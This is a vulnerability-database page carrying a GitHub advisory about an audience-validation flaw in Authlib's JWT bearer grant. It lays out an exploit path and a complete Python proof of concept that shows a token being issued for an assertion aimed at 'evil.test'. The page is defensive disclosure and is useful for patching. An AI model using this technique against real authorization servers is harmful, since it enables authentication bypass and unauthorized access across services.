CVE-2026-114618: Authlib: Default JWT bearer grant accepts assertions for the wrong audience
Description Summary Authlib's default RFC 7523 JWT bearer grant leaves getaudiences() empty, so verifyclaims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.
Published Oct 27, 2026
Affected packages
authlib
- Ecosystem
- PyPI
- Affected
- < 1.9.0
- Fixed in
- 1.9.0
- Check
pip show authlib
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Description
Summary
Authlib's default RFC 7523 JWT bearer grant leaves get_audiences() empty, so verify_claims() only checks that an aud claim *exists* instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for *any* audience can present it to a different authorization server sharing the same signing key and obtain an access token.
To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.
Affected Entrypoints
authlib.oauth2.rfc7523.JWTBearerGrant— defaultget_audiences()returns empty listauthlib.jose.jwt.decode()withclaims_optionsfor audience validationauthlib.integrations.flask_oauth2.ResourceProtector.validate_request()when audience checking is enabled
Exploit Path
1. Attacker authenticates to Service A (low-privilege)
2. Authorization server issues JWT with "aud": "https://evil.test/token"
3. Attacker presents this assertion to Service B's token endpoint
4. Service B uses default JWTBearerGrant (get_audiences() = [])
5. verify_claims() only checks aud *exists*, not its value
6. Service B issues an access token — audience bypass achievedProof of Concept
#!/usr/bin/env python3
"""
Demonstrates that the default JWTBearerGrant accepts JWT assertions
whose audience does not match the token endpoint, while a strict
audience override correctly rejects them.
"""
import json
import os
import sys
from joserfc.jwk import KeySet, OctKey
WRONG_AUDIENCE = "https://evil.test/token"
EXPECTED_AUDIENCE = "https://provider.test/token"
GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"
def build_and_exercise(strict_audience: bool) -> tuple[int, dict]:
from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant
# Uses Authlib's own Flask test fixtures
from tests.flask.test_oauth2.models import Client, User, db
from tests.flask.test_oauth2.oauth2_server import (
create_authorization_server, create_flask_app,
)
class JWTBearerGrant(BaseJWTBearerGrant):
def resolve_issuer_client(self, issuer):
return Client.query.filter_by(client_id=issuer).first()
def resolve_client_public_key(self, client):
return KeySet([
OctKey.import_key("foo", {"kid": "1"}),
OctKey.import_key("bar", {"kid": "2"}),
])
def authenticate_user(self, subject):
return None
def has_granted_permission(self, client, user):
return True
# Only override get_audiences when testing strict mode
if strict_audience:
def get_audiences(self):
return [EXPECTED_AUDIENCE]
app = create_flask_app()
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
with app.app_context():
db.init_app(app)
db.create_all()
user = User(username="demo-user")
db.session.add(user)
db.session.commit()
client = Client(
user_id=user.id,
client_id="client-id",
client_secret="client-secret",
)
client.set_client_metadata({
"scope": "profile",
"redirect_uris": ["https://client.test/authorized"],
"grant_types": [GRANT_TYPE],
})
db.session.add(client)
db.session.commit()
server = create_authorization_server(app)
server.register_grant(JWTBearerGrant)
# Sign assertion with WRONG audience
assertion = JWTBearerGrant.sign(
"foo",
issuer="client-id",
audience=WRONG_AUDIENCE, # <-- Not the expected audience
subject=None,
header={"alg": "HS256", "kid": "1"},
)
rv = app.test_client().post(
"/oauth/token",
data={"grant_type": GRANT_TYPE, "assertion": assertion},
)
body = json.loads(rv.data)
db.session.remove()
db.drop_all()
return rv.status_code, body
def main() -> int:
# Test 1: Default grant (no audience enforcement)
vuln_status, vuln_body = build_and_exercise(strict_audience=False)
# Test 2: Strict audience grant (correct behavior)
strict_status, strict_body = build_and_exercise(strict_audience=True)
result = {
"wrong_audience": WRONG_AUDIENCE,
"expected_audience": EXPECTED_AUDIENCE,
"vulnerable_status": vuln_status,
"vulnerable_body": vuln_body,
"strict_status": strict_status,
"strict_body": strict_body,
}
print(json.dumps(result, indent=2, sort_keys=True))
if (
vuln_status == 200
and "access_token" in vuln_body
and strict_body.get("error") == "invalid_grant"
):
print(
"POC_SUCCESS: default JWTBearerGrant issued an access token for "
"an assertion whose aud did not match the token endpoint, while "
"strict audience validation rejected the same assertion."
)
return 0
print("POC_FAILURE: expected token issuance under default grant "
"and invalid_grant under strict audience control.")
return 1
if __name__ == "__main__":
raise SystemExit(main())Observed Result
- Default grant (vulnerable): HTTP 200,
access_tokenissued despiteaud: "https://evil.test/token" - Strict grant (fixed): HTTP 400,
error: "invalid_grant"— correctly rejects mismatched audience - Confirms the default
get_audiences()returns empty, so audience validation is effectively skipped
Impact
- Vulnerability Type: CWE-287 — Improper Authentication
- An attacker with a valid JWT assertion for *any* service can use it to obtain tokens from a *different* service sharing the same signing keys
- Particularly dangerous in microservice architectures where services share identity infrastructure
- Enables unauthorized access escalation across trust boundaries
- The vulnerability is in the *default behavior* — most integrations won't override
get_audiences()
---
Credit
Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
Credited to mauriceng98, EQSTLab, alham-rizvi.
References
- https://github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc
- https://nvd.nist.gov/vuln/detail/CVE-2026-114618
- https://github.com/authlib/authlib/pull/945
- https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf
- https://github.com/authlib/authlib/releases/tag/v1.9.0
- https://github.com/advisories/GHSA-fch4-3c6x-j4gc
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-114614
Authlib: is_secure_transport() loopback exemption can be bypassed with a userinfo component, allowing cleartext-HTTP URLs to non-loopback hosts
low2.6Oct 27, 2026CVE-2026-114615
Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys
high7.4Oct 27, 2026CVE-2026-114617
Authlib: ID token can disable its own nonce validation via the nonce_supported claim
medium4.2Oct 27, 2026CVE-2026-114619
Authlib: OpenID implicit grant checks raw scope instead of allowed scope before issuing ID tokens
medium4.6Oct 27, 2026CVE-2026-114620
Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF
medium5.4Oct 27, 2026CVE-2026-96760
Authlib: empty signatures validation in JWS JSON deserialization
critical9.1Oct 27, 2026
